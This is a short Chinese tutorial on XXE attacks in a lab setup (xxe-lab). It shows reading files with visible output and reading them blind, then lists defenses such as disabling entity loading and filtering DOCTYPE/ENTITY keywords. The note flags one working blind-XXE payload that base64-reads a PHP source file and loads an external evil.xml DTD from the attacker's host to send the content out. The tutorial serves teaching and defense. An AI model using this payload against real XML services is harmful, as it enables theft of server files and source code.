文档:XXE漏洞【回显读取文件和无回显读取文?..
链接:http://note.youdao.com/noteshare?id=b41700dbd75216812521ad5179e7291b&sub=12F412E07EDC4BDA9C5ABEF0CAD48CB7
靶场环境
XXE靶场源码:https://github.com/c0ny1/xxe-lab
文件读取
靶场打开后界面如下:
我们把请求包的XML内容进行更改,尝试读取C盘下的test.txt文件
接下来我们尝试读取PHP文件,因为PHP的代码可能因为浏览器会解析的原因导致无法显示
我们先在kail(192.168.61.130)上开启apache服务
<?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php"> <!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml"> %dtd; %send; ]>
第3句代码意思:定义参数实体file SYSTEM表示参数实体引用外部实体内容 内容为“php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php”
第4句代码意思:定义参数实体dtd 内容为 http://192.168.61.130/evil.xml 里面的内容
然后我们就能看到apache的访问请求,content参数的内容即为编码后的doLogin.php的代码
XML可用的外部实体类型
防御方法
libxml_disable_entity_loader(true);
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
<!DOCTYPE <!ENTITY SYSTEM PUBLIC
参考资料
1. XXE漏洞以及Blind XXE总结:https://blog.csdn.net/u011721501/article/details/43775691